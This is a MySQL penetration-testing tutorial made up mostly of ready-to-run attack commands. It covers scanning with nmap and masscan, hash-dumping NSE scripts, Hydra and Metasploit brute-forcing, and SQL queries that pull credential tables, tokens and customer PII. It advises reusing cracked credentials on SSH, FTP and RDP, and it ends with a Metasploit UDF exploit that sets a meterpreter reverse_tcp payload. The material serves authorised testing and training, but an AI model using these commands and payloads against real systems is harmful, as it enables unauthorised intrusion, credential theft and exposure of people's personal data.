Pentesting MySQL

Port 3306 MySQL
MySQL is an open-source relational database management system. It's commonly found exposed to internal networks and sometimes externally, and it's a juicy target for attackers due to its potential to yield credentials, sensitive data, or even remote command execution via User Defined Functions (UDFs).

Discovery and Enumeration

The first step is simply finding where MySQL is running. It’s often hidden behind internal networks, exposed through shadow IT, or accidentally left open on public interfaces. Here’s how you can uncover those systems by scanning the internal network for open port 3306:

Discovery with Nmap

sudo nmap -p 3306 --open -T4 -Pn -n 10.1.1.0/24     #Scan a network range for open port 3306

If you’re scanning large address spaces and need speed, use the masscan tool:

sudo masscan -p3306 10.0.0.0/8 --rate 10000 -e tun0     #Scan a large subnet for open port 3306

Once discovered, you can feed results into Nmap:

masscan -p3306 10.0.0.0/8 --rate 10000 -oG mysql_hosts.txt         #Runs masscan against a large subnet
awk '/3306\/open/ {print $2}' mysql_hosts.txt > targets.txt        #Extracts targets with open port 3306 and writes to a file
nmap -sV -p3306 -iL targets.txt                                    #Runs Nmap against the list of targets with open port 3306

You can also perform a full-featured Nmap scan against MySQL.

sudo nmap -sV -Pn -vv 10.1.1.1 -p 3306 \
  --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,\
mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

This scan probes for:

  • Weak/default passwords

  • Dumpable password hashes

  • Enumerated databases, users, and queries

  • Known vulnerabilities (e.g., CVE-2012-2122)

 

Check for Anonymous or Empty Passwords
sudo nmap -p3306 --script=mysql-empty-password.nse --script-args=unsafe=1 -v 10.1.1.1

You can also manually run individual scripts to narrow focus during post-discovery validation. These NSE scripts are usually found in:

/usr/share/nmap/scripts/mysql-audit.nse
/usr/share/nmap/scripts/mysql-brute.nse
/usr/share/nmap/scripts/mysql-databases.nse
/usr/share/nmap/scripts/mysql-dump-hashes.nse
/usr/share/nmap/scripts/mysql-empty-password.nse
/usr/share/nmap/scripts/mysql-enum.nse
/usr/share/nmap/scripts/mysql-info.nse
/usr/share/nmap/scripts/mysql-query.nse
/usr/share/nmap/scripts/mysql-users.nse
/usr/share/nmap/scripts/mysql-variables.nse
/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse

Brute Forcing Credentials

You can use a tool like Hydra for MySQL login brute-forcing:

hydra -L users.txt -P passwords.txt mysql://10.1.1.1 -s 3306      #Brute force MySQL for a target IP using a list of usernames and passwords

Or use Metasploit:

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.1.1.1
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Useful Queries and Interaction

Once access to a MySQL server is gained (either via default credentials, password spraying, or exploiting misconfigurations), the real fun begins. Whether you’re looking to dump data, escalate privileges, or just poke around, here are some essential MySQL queries and techniques.

Connecting to MySQL from the Command Line

When targeting cloud services like Azure, make sure to use the correct username format (user@host) or you’ll get blocked right out of the gate.

mysql -u root -p                                    #Prompts for password
mysql -u root -h 10.1.1.1                           #Connect to a specific IP
mysql -u root@dba-prod3dcb20a -p -h 10.1.1.1        #Azure-specific syntax

 

Enumerating Users & Host Permissions

SELECT user, host FROM mysql.user;

This not only gives usernames but also the specific hosts they’re allowed to connect from (e.g., ‘admin’@’localhost’ or ‘pentester’@’%’). If you see %, that’s wildcard access which is a major misconfig.

SELECT user, host, plugin FROM mysql.user;

This shows authentication plugins (e.g., mysql_native_password, auth_socket), which can reveal more about how the system is set up.

 

Enumerating Databases and Tables

SHOW DATABASES;
USE <database_name>;
SHOW TABLES;
DESCRIBE <table_name>;

Once you identify a target database (e.g., wordpress, customers, or dev_secrets), pivot into it and start mapping the schema.

SELECT table_schema, table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%pass%' OR column_name LIKE '%user%';

This is a goldmine for finding potential credential tables, logins, or tokens, especially in poorly named or custom apps.

 

Extracting Data from Tables

SELECT * FROM users;
SELECT * FROM admin_credentials;
SELECT * FROM wp_users;

MySQL databases often contain:

  • WordPress admin hashes

  • Laravel API tokens

  • Application secrets

  • Customer PII

  • Session data

Crack those hashes or reuse found credentials across other services like SSH, FTP, or RDP.

Exploit with User Defined Functions (UDF)

Under certain conditions (e.g., MySQL running as root and plugin_dir is writable), you can exploit UDFs to get code execution or a reverse shell. You can use a Metasploit module.

use exploit/windows/mysql/mysql_udf_payload
set RHOST 10.1.1.1
set USERNAME root
set PASSWORD <pass>
set PAYLOAD windows/meterpreter/reverse_tcp
run